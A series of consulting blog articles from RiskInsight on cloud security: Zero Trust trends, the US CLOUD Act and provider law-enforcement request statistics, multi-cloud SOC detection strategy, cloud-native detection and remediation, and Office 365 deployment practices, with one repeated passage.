From a technological point of view, the underlying trend remains serverless. This is a cloud development model that allows developers to create and run applications without having to manage servers. Containerization and Dockers or Kubernetes technologies are currently being deployed on a large scale by our customers, leading to major security issues.

What are the difficulties our clients encounter on the topics covered? How is this a real challenge?

Customers with low maturity on the subject who are reluctant to migrate to the cloud are generally entities that handle data with a very high level of confidentiality (e.g. healthcare providers, military, etc.). They wonder how they can trust an American company. Currently, when we talk about the cloud, we are mainly talking about American players: Microsoft, Amazon and Google, which own almost the entire public cloud market.

To answer this question, we emphasize that when you use a cloud provider, you must have total confidence in it. The objective is to define the contractual part upstream of the customer’s migration to ensure total confidence in the supplier. This can be regarding access to the data that will be transmitted. This can be done through a contractual guarantee, security controls, etc.  Note that encryption will never prevent the provider from accessing the data, so it is important to ensure that the cloud is secured against real threats.

Of course, there is a very small risk that the provider can access your data, since it is transmitted to them, but the risk is negligible compared to the risk as a customer of misconfiguring the cloud service. Thus, the main security incidents in the Cloud concern the theft of data exposed publicly through storage services (S3 bucket, Azure storage, etc.). The provider’s responsibility is not engaged in these cases since it is up to the customer to guarantee the correct configuration of the PaaS services he uses so that they are used in private and not exposed mode.

This obviously requires an effort on skills to consume cloud services in an intelligent way while securing it.

For more advanced customers, vendor locking is a dominant issue. If the cloud provider with which the customer is collaborating goes out of business or is unavailable for a certain period of time, the customer loses access to its IS. This is why customers are turning to multi-cloud strategies.

How can we address these issues and how can Wavestone help?

At Wavestone, we believe that the cloud can be a facilitator for IS security. A gateway to build an IS on a sound foundation and rely on technologies that work. You can take advantage of this to put security in the right place from the start, and one of the keys to achieving this is automation.

Automation must be implemented in deployment, infrastructure and security to achieve true value. If the customer sets the right security rules and these technical rules are translated into the integration and deployment chains (CI/CD), the customer will have the guarantee that the deployment of its resources and infrastructures will be secure as soon as they are deployed.

Wavestone also assists clients in contracting with cloud providers. We help our clients build landings zones, i.e. the basis of the security architects that will be deployed in the cloud. Our teams are embedded in cloud centers of excellence at our customers’ sites and work every day to secure cloud infrastructures. We also have the capacity to help our customers in their agile transformation, particularly on DevSecOps issues, in order to bring security closer to their projects.

The future of cloud security

The emerging trend of the moment is Zero Trust. This is a new security model that responds to the current challenges of cloud and mobility of people and data. The Zero Trust model aims at granting access on a need-to-know basis and thus putting security closer to the resources.

The objective is to put the user back at the center with the guarantee of the least privilege and to control access to a resource each time someone expresses the need for it. This verification will be done regardless of its origin even if it is an internal collaborator. Identity and authentication are at the center, as are the means of detection and control.

The definition of least privilege allocation algorithms and the systematic verification of each new entry request are vast topics around identity governance for our customers. Their technological translation, as with Azure AD to quote Microsoft’s technology, requires solid technical knowledge and change management support to be able to identify and configure the right authentication means (MFA, temporary rights allocation, etc.) and controls (Conditional Access Policy, sign-logs, etc.) available.

This model is particularly well suited for cloud use since most public cloud providers allow the use of more reliable and configurable technologies than on-premise to manage identities, authentication and detection.

Cet article Cloud security challenges and trends, interview with Vincent Ferrie est apparu en premier sur RiskInsight.

To address this issue, the US government decided in 2018 to amend the Stored Communications Act of 1986 by enacting the C.L.O.U.D. Act.

The C.L.O.U.D. Act stands for Clarifying Lawful Overseas Use of Data Act, a federal law to speed access to electronic information held by providers under the US jurisdiction that is critical to US foreign partners’ investigations of serious crimes.

Scope of accessible Data through the C.L.O.U.D act:

• Content of electronic communications in electronic storage
• Content of electronic communications on a remote computing service
• Records relating to an electronic communications service or a remote computing service

A controlled process for accessing the data.

First, the US authorities invoking this law to request content from all companies under US jurisdiction must obtain a warrant. They must prove a high likelihood of finding evidence, related to the ongoing criminal investigation, in the targeted data, whether the crime is perpetrated by the client or the company itself.

Once the warrant is issued, it must be reviewed and approved by an independent judge.

The request can be issued under orders of secrecy: the legal authorities can delay the CSP (Cloud Solution Provider) from notifying the account holder of the request. Orders of secrecy are examined more carefully by the Department of Justice.

If the warrant is approved and a request is issued, the Service Provider or the client, if notified, can challenge it within 14 days if:

• The data relates to a non-US person who does not reside in the United States, and/or;
• The request would lead to disregard the legislation of a foreign country and would expose it to sanctions.

Factors such as the importance of the information, the specificity of the request or the availability of alternative means to obtain the information will be analysed by the court.

C.L.O.U.D. Act = Cloud provider?

C.L.O.U.D. does not target only Cloud Service Providers! C.L.O.U.D. Act scope is wider than Cloud Providers and include some Software and Providers already deployed in some companies’ IS.

• Remote Computing Services (RCS): any service that provides computer storage and processing services to users through an electronic communication system.
• Electronic Communication Service (ECS): any service that provides its users with the ability to send or receive communications by wire or electronic means.

• US companies
• Foreign companies located outside of the U.S. but providing services in the US with sufficient contacts depending on the nature, quantity, and quality of the company’s contacts with the US (promotion to US customers, solicitation of business to US companies, usage by US clients, etc.

Besides the obvious scope of the RCS and ECS definition (Email providers, cell phone companies, social media platforms, cloud storage services, etc.), many softwares and providers used in most IS are in the C.L.O.U.D. Act scope:

• All Microsoft Office suite (Outlook, Skype).
• Security and network appliances and services (proxies, firewalls, anti-malware, etc.) provided by U.S. companies (e.g., Symantec, Pulse, Citrix, etc.).
• Business softwares that process business workflows to US companies or citizens (e.g.: payment orders).

In On-Premise IS, the C.L.O.U.D Act still apply.

The C.L.O.U.D. Act is wider than common expectations and on-premise implementation can give a false perception of protection. Here are two examples of how the data can be retrieved or transmitted:

1. Built-in technical outgoing flows

Many software communicate by design with the provider’s infrastructure (error and user reports, telemetry data). Most of the outgoing flows are encrypted through HTTPS but providers usually do not communicate on the content of the data sent nor precise the destination and, in most cases, these outgoing flows are required to use the service and cannot be disabled.

=> The US authorities can retrieve data desired for the Cloud Act such as individual login, client’s workflows, etc.

2. Foreign Third-party support

Support teams are performed remotely allowing access from provider teams all around the world (included US territory).

For numerous softwares, providers bring foreign support team that can be US-based or under US jurisdiction.

=> The provider or the third party must be compelled to transmit the data in case of a request from the U.S.

What do the Cloud Service Providers say about it?

Cloud Service Providers assure their customers that they will not disclose their data unless they are obliged to do so by law… which is the case if they are compelled by the C.L.O.U.D. Act. In the event of a conflict of laws, such as with the GDPR, CSP further assure that they will take the necessary steps to oppose the US government’s request.

Some of them go even further, by assuring that the encryption keys used to secure client data or the ability to force the encryption will not be provided. For now, the C.L.O.U.D. Act does not mention encryption keys nor obliged to provide unencrypted data.

Twice a year, Cloud Service Providers such as Microsoft, Amazon and Google publish the number of law enforcement requests concerning customer data they receive. Those reports compile all the requests issued by law enforcement agencies all over the world. The law enforcement requests issued by the United States of America include C.L.O.U.D act related requests. The distribution of the laws used to issue the requests is not specified, meaning we cannot know which proportion of requests are C.L.O.U.D Act related.

Type of data retrieved

The last Microsoft and Amazon reports, for requests between July and December 2020 in the world can  provide more information concerning the type of data requested to Microsoft and Amazon (Google does not provide information concerning the distinction between content and non-content data):

% Content : is what customers create, communicate and store on or through services such as the words in an email or the documents stored on OneDrive

% Non-Content : include basic information such as email address, name, country and IP at time of registration, IP connection history or billing information

% No data found: when the data required by the mandate cannot be found

% Rejected when unable to disclose the requested information (not meeting legal requirements)

=> 40% of requests to Microsoft are unsuccessful: no data is found, or the request is rejected.

=> Most requests to Microsoft and AWS resulting in the disclosure of data are for non-content data (mostly login data).

Closer look

Let us deep dive into Microsoft and Google reports as Amazon does not provide as much detail. The Google services concerned by the requests are Youtube, Gmail, Google Voice and Blogger. The Microsoft services concerned by the requests are Outlook, Skype, O365, Xbox, AZURE, etc.

In a geographical point of view, we can identify countries that are the most concerned by those requests for the second semester of 2020 :

Microsoft

Google

• Only few countries are concerned by most of the requests:
  • For Microsoft : 6 countries have been concerned by 900 requests or more in S2 2020 which represent more than 77% of the overall requests
  • For Google 11 countries have been concerned by more than 900 requests in S2 2020 which represent more than 90% of the overall requests

• France authorities are at the 4^th place of each Provider regarding requests issuance :
  • For Microsoft 10% of the requests are issued by the French authorities
  • For Google 8% of the requests are issued by the French authorities

Additionally, we can analyse the number of requests which end up in data being disclosed to the authorities and which proportion of the total requests it represents. In the rest of the article, data disclosure means that the authorities have received data following their requests.

Microsoft

Google

• The percentage of Law enforcement requests which lead to data disclosure is quite similar for Microsoft and Google and contained between 50%-75% (Microsoft) and between 55%-88% (Google)
• However, there are some disparities regarding the Country. For example French authorities have gained access to data in 52% of their requests for Microsoft whereas they have gained access to data in 83% of their requests for Google

Seeing the raw data, one can at first sight conclude that data disclosure to authorities is more likely for Google service than Microsoft ones. It can be explained by the fact that Google services are aimed more towards individuals than businesses and Google services are more widely used (Outlook 400 million users versus Gmail 1,5 billion users). Additionally, the law enforcement requests are issued in criminal cases which are more likely to concern individuals meaning those requests are more likely to be send to Google.

Step back – How the law enforcement requests have evolved since 2013 for Google and Microsoft?

If we compile reports since 2013, we can identify trends regarding data disclosure following C.LO.U.D Act implementation.

Microsoft

It is worth noting that in the Microsoft report, the requests which are rejected and requests approved but in which no data is discovered are classified in the category “Data request leading to no data being disclosed”

• The total number of requests seems to stabilise around 20K-25K each semester since S2 2016, the same for the account/users concerned, around 40K-50K.
• Distribution tends to evolve, notabily regarding rejected requests :
  • A small part concerns Content data, generally aound 5% of the requests
  • More than half are requests for non-content data
  • An approxymately equal share of 15% each semester are requests for which data have not been found
  • Rejected requests have been growing since 2013 to reach almost a quarter of the request results
  • In total more than 40% of the requests lead to no data being disclosed to the authorities

Google

• The total number of requests has been exponentially growing since 2018 to reach more than a 100k requests for the first semester. This can be explained by the increased number of countries which are included in the google reports (68 in 2013 versus 85 in 2020), the omipresence of Google services in any indivuals’ connected life as well as the release of the C.L.O.U.D Act in 2018.
• The evolution of requests tends towards the increase in data disclosure starting in 2018 and the release of the C.L.O.U.D Act. However, since the beginning of the reports publication in 2013, the percentage of the data disclosure has always been between three and four fifth.

Conclusion

After analysis of the bigger picture, all CSPs are not in the same situation:

• Amazon does not provide any detailed information regarding data disclosed location or percentage of data disclosed on overall requests
• Google receives more law enforcement requests than Microsoft and discloses more often information than Microsoft that can be explained by the fact that Google services are aimed more towards individuals than businesses

Nevertheless, the decision to disclose the information is in the hands of the legal institutions and not the CSPs’ (even if it can contest the request). Therefore, the CSPs’ cannot be held responsible for the amount of data they disclose to the authorities through legal means.

Additionally, even if law enforcement requests are over thousands every semester and tens of thousands of users, this remain a tiny part of the total amount data treated by main Cloud Providers. The data access procedure remains exceptional. The requests mainly concern logins and metadata, there is no proven case of industrialized espionage with mass data recovery.

Finally, keep in mind that these statistics cannot be challenged or aggregated with other sources. It is necessary to underline that this is only at the goodwill of the Cloud Service Providers to disclose the data and the reports, so it should be taken with a grain of salt.

At least, the notion of trusted Cloud remains key for every Companies, Cloud Providers as well as authorities tend to get more involved into the subject as evidenced by the Thales and Google new partnership to build a sovereign Cloud Offer or the planned evolution of ANSSI’s SecNumCloud qualification.

Cet article The C.L.O.U.D. Act: How to make the data “un-territorial”? est apparu en premier sur RiskInsight.

If 10 years ago, building your SOC meant asking yourself which scenarios to monitor, which log sources to collect and which SIEM to choose, recent developments in the IS have brought new challenges: how to set up monitoring in a partially on-premise and/or multi-cloud environment? Indeed, in 2021, having an IS hosted by several IaaS providers is closer to being the rule than the exception; and while AWS remains the most popular player, Azure and GCP offerings are of increasing interest to IT teams.

How to build a detection strategy? Where to position the SIEM? How to centralize logs and alerts? In fact, do we need logs or alerts? And how to take advantage of the managed solutions offered by cloud providers?

In this article, we will discuss best practices: using a bottom-up detection strategy, optimizing via the choice of the most relevant cloud native services, simplifying the collection architecture; always based on feedback from building multi-cloud monitoring strategies.

(Re)thinking your detection strategy for the multicloud

The first question the SOC team should ask itself is the detection strategy. In other words, what scenarios will be monitored?

A good cyber reflex is to use a “top-down” approach: start with a risk analysis to identify the alerts to prioritize, formalize them and then translate them technically into the SIEM. In practice, three factors demonstrate that this approach is insufficient:

• Few teams have risk analyses that are sufficiently exhaustive, up to date and pragmatic to allow the breakdown of threat scenarios into monitorable scenarios, especially for complex scopes such as the public cloud;
• There is no guarantee that the scenarios obtained by this method can actually be put under supervision, whether the limitations are related to the solutions deployed or to the need for SOC teams to have business knowledge.
• This approach defines some attack paths according to the criticality of the assets but does not cover all the attack paths that an attacker could take.

Therefore, an efficient multi-cloud detection strategy will be obtained by completing the risk-based approach with a “bottom-up” approach: starting from the logging capabilities of the solutions available to identify the alerts that the SIEM will have to raise, and finally prioritize based on their interest in terms of risk coverage. Starting with the existing solutions guarantees the pragmatism and efficiency of the approach.

At Wavestone, we are increasingly solicited by clients who want to be supported in this new approach. The scope concerns the main solutions used in multicloud: Microsoft 365 (SaaS) and the managed solutions of the IaaS offers of the 3 main market players: Amazon Web Services, Microsoft Azure and Google Cloud Platform.

Set up the supervision of the Microsoft 365 infrastructure

On paper, the SOC team has all the keys in hand to monitor its cloud infrastructure:

– Raw logs for Office 365 services (Teams, SharePoint Online, Exchange Online, etc.)

– Raw logs, security reports, alerts and Identity Secure Score for Azure AD

– Raw logs, alerts, Microsoft Secure Score and Azure recommendations for security tools like ATP, AAD Identity Protection, Intune, AIP, etc.

In practice, navigating between the logs and all the tools available (and their consoles) can quickly become a headache. And if we regularly hear that there are too many logs or administration interfaces to master, in the field the difficulties are accentuated:

– By the poor customization capabilities of the native tools offered,

– By the lack of scenarios available with the purchased license,

– By the 90-day retention period for logs,

– By the general lack of Office 365 or AzureAD skills in the SOC teams.

To avoid getting lost, we recommend simplifying the playing field as much as possible. The best practices consist in thinking about alerts, not logs collection, and then centralizing their management in the SIEM using connectors like those of Security Graph API. As an example, it is possible to arrive at a model like the one given below:

Once the architecture has been identified, configure a log retention period adapted to your needs (within Azure or outside) and start adapting the SOC processes to the specificities of M365 according to the choices made in the previous step.

Set up the supervision of other clouds in IaaS

To draw the architecture of collection on these clouds, it is necessary to distinguish the different types of logs made available by the CSPs.

System logs

The case of system logs generated by VMs and network flows can be dealt with first; it is possible to collect them in the same way as on-premise, with syslog agents, for example. CSP infrastructures provide building blocks such as Log Analytics in Azure to facilitate reporting.

Infrastructure administration logs

It is also possible to supervise the administration of “sensitive” infrastructure components (VPN, FW, vulnerability scanners, etc.) in the same way as on-premise solutions. Indeed, most of these solutions have their IaaS counterpart in the cloud providers: they can be obtained via the Marketplace and have a web administration console or interface directly with the CSP’s management console (this is the case for the Qualys scanner appliance, for example).

API call logs

Finally, API calls made by processes/accounts on the cloud infrastructure and by administration operations generate logs that are easily retrievable via the following managed services:

– CloudTrail at AWS

– Activity Log & Monitor at Azure

– Audit Logging at GCP

To avoid getting lost, let’s learn the lesson: “Use and abuse cloud-native services”. After all, who better than the provider to offer services that are adapted and integrated into the environment? In practice, we see that implementing log management and cloud alerts in an on-premise SIEM is expensive (even if we try to limit storage costs in the monitoring solution) and time-consuming.

The use of the cloud implies a shift to the cloud philosophy: let’s adopt its codes and tame its services and tools. This is an opportunity to strengthen the synergies between the cloud teams and the SOC!

In summary, an example of monitoring architecture on AWS is proposed below. It shows several ways to perform monitoring, using native services for logs and alerts (NB: all flows to S3 and other services have not been shown for readability reasons).

Define the architecture for centralizing multi-cloud alerts

This is one of the questions we are asked the most: what SIEM architecture should be considered in the multi-cloud? While each context is different, because each IT infrastructure has its own legacy and history, the presence of so many resources and tools should lead an SOC team to consider adopting a central cloud SIEM (such as Azure Sentinel, Splunk SaaS, etc.; AWS and Google’s Chronicle do not offer an equivalent solution to date).

To help SOC teams choose the right scenario, our recommendations are as follows:

– Prefer the scenario with a single central SIEM

– Limit the number of cloud monitoring consoles as much as possible

– Maximize the number of alerts that have already been analyzed by the native services studied above

– Take advantage of possible synergies between products from the same supplier: Azure Sentinel for monitoring Microsoft 365 infrastructure, for example

– Take advantage of the numerous connectors made available by cloud SIEM providers

– Study the impact of each scenario on the organization of the SOC (team size, technological skills, etc.) and the associated costs (necessary developments, volume and ingestion costs, etc.)

An example of an architecture that includes all the recommendations of this article is proposed below, it uses Azure Sentinel as a central cloud SIEM.

Summary: Key principles to keep your head above the clouds

In summary, the SOC team wanting to adapt its detection strategy to the multicloud should:

– Complement its classic top-down approach with the bottom-up approach, which is particularly well-suited to the complex context of the multicloud,

– Use native services provided by vendors whenever possible to take full advantage of the cloud,

– Simplify the collection architecture and centralize as much as possible the alerts pre-analyzed by the cloud native services,

Once the head is out of the cloud, the strategy formalized and the collection architecture deployed, the SOC is back in its place as the IS control tower: the proliferation of services in the cloud no longer scares it!

The next steps may be to look at automation possibilities, with the implementation of a SOAR, for example. We will be sure to discuss this topic in a future article.

Cet article Adapting your detection strategy to the multi-cloud without getting lost in the cloud est apparu en premier sur RiskInsight.

In the past year, I had the chance to work with different organisations in their Cloud transformation, and each of them has provided our team of Wavestone consultants with insights and key lessons on what Cloud-based detection systems can and cannot bring to an organisation.

For this article, bear in mind that we will consider any change of configuration leading to a degradation of the security level as an incident. While it does not perhaps fit the exact, usual definition of a security incident, misconfiguration of a Public Cloud service (where resources and data can be directly accessible through the internet) is too serious of an issue to not raise an immediate alert for the security of the information system.

Embrace the quick wins

When using Public Cloud from the main providers (Amazon Web Services, Microsoft Azure and Google Cloud Platform), it is fairly easy to turn on the native detection features and kickstart a basic, yet effective detection capability. Most platforms will provide a central security platform that enables you to detect misconfiguration in the infrastructure you have deployed, score your compliance level against a given standard and raise some alerts when the most typical incidents will occur (see further). There is virtually no reason to skip this feature, which is sometimes free to enable (either for trial or permanently).

Additionally, logging is virtually a non-issue in your security roadmap. Cloud providers will typically allow you to stream the logs from both your virtual machines (through agents), your PaaS components (via a handful of clicks, or a couple of parameters in your Infrastructure as Code templates) and the management plane of your subscription (activated from scratch). This enables your security team to swiftly understand the ongoing activity on the platform and start building on the logs to get some alerts. Moreover, some Cloud providers SIEM systems (such as Azure Sentinel) have ready-to-be-plugged connectors for appliances and external data sources which will parse the logs and remove some of the heavy lifting required when bringing the logs home to the SIEM.

Take the opportunity to improve security right away

Once you have learned the basics of the native Cloud detection tools, it is time to build your own expertise to be able to rely on your own tools! You can also leverage third-party solutions such as Cloud Security Posture Management (CSPM) solutions and configure it to cover your needs.

As hinted above, the native features from Cloud Providers offer some basics alerts which can go a long way. With AWS Guard Duty, you can detect compromising of AWS EC2 access tokens or abnormal access to S3 buckets, Azure Security Center will notify you when potentially malicious activity is detected on a virtual machine, or when Azure AD accounts are likely to be taken over… If you need to be quickly capable to detect attacks, there is a way to leverage the native, ready-to-be-used alerts available (although some of them might require the premium license after a free trial).

One of the key perks of Cloud detection is that you can right away act upon them with automatic remediation! For example, misconfigurations are a real source of concern for security teams, as the Terabytes of data leaked through accidentally exposed S3 buckets will testify. So why not reconfigure any bucket exposed, unless it has specifically been set in an “Allow List”? Automation will allow you to detect the exposition pattern, launch a serverless function which will fix the misconfiguration and could even notify the resource owner or the security team.

This can be done for misconfiguration, but also for malicious activity: if you detect an EC2 token being stolen from the metadata of an instance, you can temporarily remove its access rights. If you notice logging is being disabled, re-enable it and lock the responsible user accounts. This will drastically improve your time-to-react to security incidents.

Of course, you still need to work on the overall incident management process: both on how to avoid the misconfiguration of services (through training of developers and controls in the CICD channels if existing) and on how to manage them once they occur (the operating model is tackled further below).

Get closer to business and continuous improvement

Moving to Cloud is usually a time where applications and workloads will have to pass again through a security review to ensure the architecture and design are sound and safe. But it is also an opportunity to make security detection more relevant to the application.

To make it count, my advice would be:

• Go through the process of “Service Enablement” for new services: as moving to the cloud allow business and IT teams to use hundreds of new features and components, it is important to bring together architects and security teams to assess the main risks for each new technology, find countermeasures to limit these risks and start thinking about the alerts that will need to be implemented in the SIEM ;
• Build an alert catalog for each typical risk scenario and component, with the logic of the alert already pre-defined and only the business specifics to be customised. The “time to market” for supervision should also drop, as a good share of the components used for cloud operations is common to most applications (virtual machines, databases, serverless applications and functions, decoupling systems);
• Keep up to date with Cloud-related attacks to understand the latest vulnerabilities/attackers paths, and integrate them in your detection systems.

All these applications specifics should sit on top of transversal alerts covering your core Cloud functions (IAM, networking, landing zones, etc.). To help you build this core-detection capability, you can obviously count on our team, but I should also recommend checking on the ever-growing CloudSec community, which continuously share its expertise through open-source tooling (as this consolidated-view will prove) or on live and online platforms (such as the Cloud Security Forum and its first Fwd:CloudSec conference this year).

Not everything is easy though!

Based on everything written above, it might seem effortless to get a solid cloud detect and react proficiency. However, some challenges remain to be tackled.

The first one to come to mind is pricing. Often suggested as a selling point for Move to Cloud programs, accurately estimating how much your provider will charge you for Cloud detections is not as easy as it sounds. Over the years, many CSP security solutions have moved to component-based pricing for IaaS and transaction-based pricing for PaaS components. Log storage and alerting are sometimes even more complex, as some solutions will charge you based on log transit and aggregation, while some solutions will charge you for the number of assessments against alerts you run. Significant work is required to determine a truthful budget, and not go bankrupt.

The second key attention point is to understand what your provider offers and what it does not offer in terms of detection. While most solutions will claim to solve all your problems at once, it is unfortunately far from true. And for each security use case, there needs to be a call on whether you are fine with the free option if it exists, if the premium one is required, or if your security teams can make it on their own. Realistically, you will need to start with the native option, until your security team is mature enough, cloud-wise, to move to a homemade process.

Additionally, and maybe the most significant aspect, you need to design an operating model that will allow you to work with multiple subscriptions, multiple teams/businesses and possibly multiple Cloud Providers. More and more organisations are parallelising operations by picking different CSPs for different use cases, which leads to increased complexity for security teams – as they need to manage incidents on different platforms, with responsibilities divided between DevOps, SecOps and the on-premise teams. This will be especially difficult as some misconfiguration will lead to immediate security risks, and a choice needs to be made on whether the Ops or Security is expected to act. Without a strong division of duties across all providers and teams, there is a fair chance a small misconfiguration will snowball its way into a major data leak.

Finally, remember that monitoring your Cloud applications in the Cloud can also create risks. Besides vendors lock-in, you can lose all security functions along with your applications if everything sits under the same management plane. If the global administration rights of the SIEM tenant are taken over by an attacker, he or she will have all the liberty to affect the underlying resources (meaning erase logs, disable alerts or remove remediation capabilities). It is worth thinking about it before stacking your SIEM and critical applications under the same roof.

In the end, to sum it up:

• Grab the low hanging fruits: your Cloud Provider will help you collect and consolidate the logs easily. There are virtually no technical barriers to not use the logs anymore. In addition to that, enable the basic security features provided by your CSP to detect the most obvious attacks.
• Grow your cloud maturity together with cloud teams: The Cloud movement has pushed the business and IT teams (SecDevOps) to work closer than ever. Embrace this philosophy by better understanding the business needs in terms of security, customise alerts and automate your response to allow your capability to scale.
• Optimise costs and operating models to excel: Virtualisation has made a lot of technical aspects easier for teams, but processes can be hard to adapt. Make sure to carefully design your detection/incident response operating model to ensure all your applications and Cloud Providers are covered. Finally, think about cost optimisation when it comes to log management!

Cet article How to improve your cyber detection by moving to the Cloud est apparu en premier sur RiskInsight.

For those who have not yet taken the plunge (mainly ETIs and the public sector), it is essential to start thinking about Cloud collaboration and communication platforms as soon as possible. This, in order to be able to ensure continuity of service in case of force majeure (cyber attack, natural disaster or even pandemic), or even to envisage a more consequent migration.

For this Digital Workplace platform, a close collaboration between the security team and the workplace will be a prerequisite!

In this article, I will share with you some feedbacks on the deployment of Office 365, Microsoft’s solution that is becoming increasingly popular with the companies we support.

There is a lot of interesting documentation on the subject on the Internet (“Top 10 best practices” or “3 good reasons to connect the xxx application to ensure your security”). Microsoft summarizes some of these good practices in these two articles:

• Security roadmap – Top priorities for the first 30 days, 90 days, and beyond
• Top 10 ways to secure Microsoft 365 for business plans

Today, I am not going to repeat here a non-exhaustive list of these good practices, but rather to remind you of six points of attention when opening such a service.

1st point: Building the safety standard, a pillar of the future relationship between the safety and workplace teams.

As with any project of this type, the first step is to assess the potential of the service and see how it can meet the initial need, through the development of a business case. The possibilities offered by Office 365 are numerous: office automation, instant messaging or email, data visualization, development of applications without code, etc.

As far as cybersecurity teams are concerned, there are two choices: to oppose this migration because of the risks linked to the American Cloud or to support the reflection to create new secure uses.

In the vast majority of cases, the second choice is preferred. A tripartite relationship then begins, between the workplace teams, security and architects, with the aim of building a service for the users. A result of this step could be the development of a security standard, resulting from a risk analysis, defining the services used and with the associated configuration.

Among the issues to be addressed are generally the following three themes:

• What uses should be offered to people in a situation of mobility? With what authentication?
• What new services to offer with the possibilities of integration with APIs?
• How to share documents with external users?

The current trend is to provide answers with a “Zero Trust” approach. Any deviation from the defined safety standard will have to be detected, thanks to the implementation of dashboards and supervision. The adage “Trust does not exclude control” has never made more sense.

This reflection may even be an opportunity to ask fundamental questions in order to lay a coherent foundation for the working environment. For example, why leave email, a 30-year-old system, open to everything and externally block my Teams and SharePoint shares? Improving the user experience can only be achieved by standardizing security practices.

2nd point: Data protection, a subject with the wind in its sails

Parallel to the construction of the service, comes the subject of the data that will be used in the tenant. For this, two simple questions must find answers (often complex).

How do I protect my data?

Today, unstructured data protection strategies are based on a common basis: the linking of data to a level of sensitivity. This correspondence leads to protection measures to be put in place:

• – Encryption with keys controlled by the CSP or the organisation;
• – Restriction of rights (or DRM);
• – Conditional access with multi-factor authentication;
• – Data Leakage Protection (or DLP).

In order not to over-protect data and thus avoid undermining the user experience, encryption and rights restriction can be reserved for the most critical data. Other data will still remain under control using more traditional measures, such as end-to-end encryption and exposure control.

A key factor for such a project will be to turn it into a real business project, with a comprehensive awareness programme dedicated to classification.

How to remain compliant with the regulations?

An organisation may be subject to local, implementation-related and sector-specific regulations, depending on its activities.

These regulations and directives in some cases impose real obstacles that need to be removed at the outset of the project: data retention, legal archiving, geolocation, judicial investigation, requests related to personal data.

Let’s take a concrete example: Russia. With the law on personal data of 2015, the national regulatory authority imposes the obligation to keep the source (called primary database) of its citizens’ data on Russian soil. In practice, this means that the Active Directory (primary base of corporate identities) of the Russian entity must remain Russian. From there, the information can be synchronized with the GAL (Global Access List) and Azure Active Directory.

The thorny issue of stock management

What to do with the data already existing? This is a complex issue, especially if the opening of a Cloud collaboration solution is linked to the decommissioning of existing file servers.

First of all, there is a technical question. Will the company’s network be able to support massive migrations of .pst and documents? In particular, it will not necessarily be useful to migrate data that does not comply with the retention policy.

Secondly, historical data may have heterogeneous levels of sensitivity and be subject to various regulations. A trade-off will be necessary to arbitrate between local data retention, risk acceptance and a broad classification project before or after migration.

3rd point: The Target Operating Model, guaranteeing the preservation of security over time

The operational model of a service such as Office 365 defines the responsibilities of the players (administrators, support staff, etc.) and the principles of object management. It is complementary to the security standard mentioned above, providing an operational vision.

The TOM must be drawn up prior to the opening of the service and updated regularly. It must include at least the following subjects.

A model of administration

Microsoft offers by default about 50 administration roles, not counting the RBAC roles of services (e.g. Exchange and Intune). A relevant use of these roles and custom roles will help to avoid having too many General Administrators and to follow the principle of least privilege. The implementation of Just-in-Time access will moreover make it possible to monitor the actual use of roles, while reinforcing security.

A semi-architectural / semi-security community

Like any SaaS platform, Microsoft regularly upgrades the functionalities of its collaborative suite. The mission of this community will be to monitor trends, in order to master new uses and keep control of the tenant considering the evolutions.

The life cycle of shared identities and spaces

If shared spaces (Teams, SharePoint) are not managed freely, this can lead to an explosion in the number of spaces that do not comply with the security standard. The reports of the editors of Data Discovery solutions are quite striking. To avoid this, it is necessary to establish a life cycle for shared spaces. These rules can include a naming convention, retention policies, a lifespan, principles for rights management.

The establishment of a single portal for the creation of these spaces will make it possible to implement these good practices, while promoting the user experience.

Similarly, a life cycle for Azure AD objects (including guest users, security groups, Office 365 groups and applications) must be defined and equipped. Here are two examples that deserve to be addressed: the delegation of APIs is left open and leaves the door open to massive data leaks; users invited to collaborate are never deleted. For this, two strategies are possible:

If shared spaces (Teams, SharePoint) are not managed freely, this can lead to an explosion in the number of spaces that do not comply with the security standard. The reports of the editors of Data Discovery solutions are quite striking. To avoid this, it is necessary to establish a life cycle for shared spaces. These rules can include a naming convention, retention policies, a lifespan, principles for rights management.

The establishment of a single portal for the creation of these spaces will make it possible to implement these good practices, while promoting the user experience.

Similarly, a life cycle for Azure AD objects (including guest users, security groups, Office 365 groups and applications) must be defined and equipped. Here are two examples that deserve to be addressed: the delegation of APIs is left open and leaves the door open to massive data leaks; users invited to collaborate are never deleted. For this, two strategies are possible:

• #1 – Creation of a Custom Automation Engine decorrelated from the IAM, via an in-house application developed in PowerShell ;
• #2 – Integration of a Powershell / Graph API connector to the IAM solution in place in order to present a complete management of the objects, disregarding their direct hosting.

4th point: take a fresh look at the subject of user identity

Indeed, the subject of identity is a pillar of SaaS!  So, take the time to consider all the possibilities and risks of SaaS Identity Providers (or IdPs). In particular, it is unthinkable in 2020 to consider Azure Active Directory as a simple Domain Controller in the Cloud.

Three approaches are possible for the source of identities accessing Office 365.

The dissociation of identities, a quick-win but complicated from a user’s point of view

It is possible to dissociate the local and Cloud identities if the local DA is no longer available or to decorate the Cloud workspace from the historical IS. This scenario is obviously not in favour of an optimal experience, but may be a valuable asset in the event of a crisis.

The use of local identity in the Cloud, a classic strategy

In order to reconcile security and user experience, it is necessary to use the same identity between the legacy applications and this new service. For this, three technical scenarios are available:

• Identity Federation : This historic solution is widely used by large French companies that are reluctant to host passwords in the Cloud and wish to have SSO;
• Password Hash Sync (PHS): This solution, recommended by Microsoft and the British equivalent of ANSSI, is implemented by the vast majority of Microsoft customers. This solution can also be used as a back-up when the federation service is no longer available;
• Direct Authentication (Password Through Authentication or PTA): This solution provides the best user experience but has the disadvantage of passing the password through Azure AD.

Migrating one’s identity repository to the Cloud, a longer-term vision

Before or after migration, it may be appropriate to consider fully migrating the source of identities into the Cloud (whether Azure AD or a third party solution), in order to take advantage of the new possibilities. There are still several prerequisites that need to be lifted, such as printer, GPO and terminal management.

5th point: Gradually open up services to encourage controlled adoption

It is always easier to open a new service than to go back for safety reasons. Massively opening the different services of the collaborative suite has the advantage of offering a maximum number of uses cases but can cause several side effects.

First of all, services that are not officially supported and left in the hands of users for testing purposes represent a definite risk. They need to be configured and hardened. In some cases, it may even be preferable to disable the corresponding licenses.

Secondly, a controlled launch of the tools will help control costs during the first months or years of the transition. As Microsoft licences represent a certain load, it is possible to optimize unused licences.

Change management is also a key aspect to consider; to promote the user experience, of course, but also to promote data security. It is essential to have a clearly defined roadmap and user journey. Accompanied adoption will lay the foundations for proper governance of shared spaces and data (both in terms of exposure and protection).

It will be useful to consider creating a community of evangelists and users in order to maintain momentum in the adoption of the new functionalities brought by Microsoft. A uservoice system could be an asset; the ideal would be to listen to the needs of users and prioritise future openings.

